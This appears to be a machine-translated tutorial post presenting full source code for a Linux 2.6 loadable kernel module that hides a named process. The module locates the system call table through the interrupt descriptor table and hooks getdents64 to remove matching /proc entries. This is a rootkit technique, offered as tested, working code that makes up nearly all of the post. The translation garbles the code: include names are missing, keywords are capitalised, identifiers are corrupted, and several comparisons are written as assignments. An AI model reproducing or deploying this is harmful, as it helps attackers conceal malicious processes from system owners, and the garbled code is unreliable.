Implement Process hiding in the 2.6 kernel-Linux general technology-Linux programming and kernel information. The following is a detailed description. Small programs long ago, simple but interesting
The principle is very simple. in linux, the ps command for viewing processes is implemented by calling sys_getdents. The sys_getdents user obtains a directory entry in a specified path, which is actually an enumeration.
In this way, you only need to hook sys_getdents and remove the corresponding pid information to be hidden.
The following is the LKM code that is tested and run successfully in the linux-2.6.14
CODE: # include # Include # Include # Include # Include # Include # Include # Include # Define CALLOFF 100 // Use the module parameters to define the process name to be hidden Char * processname; Module_param (processname, charp, 0 ); Struct { Unsigned short limit; Unsigned int base; } _ Attribute _ (packed) idtr; Struct { Unsigned short off1; Unsigned short sel; Unsigned char none, Flags; Unsigned short off2; } _ Attribute _ (packed) * idt; Void ** sys_call_table; Asmlinkage long (* orig_getdents) (unsigned int fd, struct linux_di1_64 _ user * dirp, unsigned int count ); Char * findoffset (char * start) { Char * p; For (p = start; p <start + CALLOFF; p ++) If (* (p + 0) = '\ xff' & * (p + 1) = '\ x14' & * (p + 2) = '\ x85 ') Return p; Return NULL; } Int myatoi (char * str) { Int res = 0; Int mul = 1; Char * ptr; For (ptr = str + strlen (str)-1; ptr> = str; ptr --){ If (* ptr <'0' | * ptr> '9 ') Return (-1 ); Res + = (* ptr-'0') * mul; Mul * = 10; } Return (res ); } Struct task_struct * get_task (pid_t pid) { Struct task_struct * p = get_current (), * entry = NULL; List_for_each_entry (entry, & (p-> tasks), tasks) { If (entry-> pid = pid) { Printk ("pid found \ n "); Return entry; } } Return NULL; } Static inline char * get_name (struct task_struct * p, char * buf) { Int I; Char * name; Name = p-> comm; I = sizeof (p-> comm ); Do { Unsigned char c = * name; Name ++; I --; * Buf = c; If (! C) Break; If (c = '\\'){ Buf [1] = c; Buf + = 2; Continue; } If (c = '\ n '){ Buf [0] = '\\'; Buf [1] = 'n '; Buf + = 2; Continue; } Buf ++; } While (I ); * Buf = '\ n '; Return buf + 1; } Int get_process (pid_t pid) { Struct task_struct * task = get_task (pid ); Char * buffer [64] = {0 }; If (task) { Get_name (task, buffer ); If (strstr (buffer, processname )) Return 1; Else Return 0; } Else Return 0; } Asmlinkage long hacked_getdents (unsigned int fd, struct linux_di1_64 _ user * dirp, unsigned int count) { // Added by lsc for process Long value; Struct inode * dinode; Int len = 0; Int tlen = 0; Struct linux_di1_64 * mydir = NULL; // End // Call sys_getdents here to obtain the returned result. Value = (* orig_getdents) (fd, dirp, count ); Tlen = value; // Traverse the directory list While (tlen> 0) { Len = dirp-> d_reclen; Tlen = tlen-len; Printk ("% s \ n", dirp-> d_name ); // In the proc file system, the directory name is pid. We can find the process name based on the pid. If (get_process (myatoi (dirp-> d_name ))) { Printk ("find process \ n "); // Finds a matched Process and calls memmove to overwrite the process Memmove (dirp, (char *) dirp + dirp-> d_reclen, tlen ); Value = value-len; } If (tlen) Dirp = (struct linux_di1_64 *) (char *) dirp + dirp-> d_reclen ); } Return value; } Void ** get_sct_addr (void) { Unsigned sys_call_off; Unsigned sct = 0; Char * p; Asm ("sidt % 0": "= m" (idtr )); Idt = (void *) (idtr. base + 8*0x80 ); Sys_call_off = (idt-> off2 <16) | idt-> off1; If (p = findoffset (char *) sys_call_off ))) Sct = * (unsigned *) (p + 3 ); Return (void **) sct ); } Static void filter_exit (void) { If (sys_call_table) Sys_call_table [_ NR_getdents64] = orig_getdents; } Static int filter_init (void) { // Obtain the offset address of sys_call_table. Sys_call_table = get_sct_addr (); If (! Sys_call_table ){ Printk ("get_act_addr (): NULL... \ n "); Return 0; } Else Printk ("sct: 0x % x \ n", (unsigned int) sys_call_table ); // Replace the system call sys_getdents registered in sys_call_table with our own function hack_getdents. Orig_getdents = sys_call_table [_ NR_getdents64]; Sys_call_table [_ NR_getdents64] = hacked_getdents; Return 0; } Module_init (filter_init ); Module_exit (filter_exit ); MODULE_LICENSE ("GPL "); |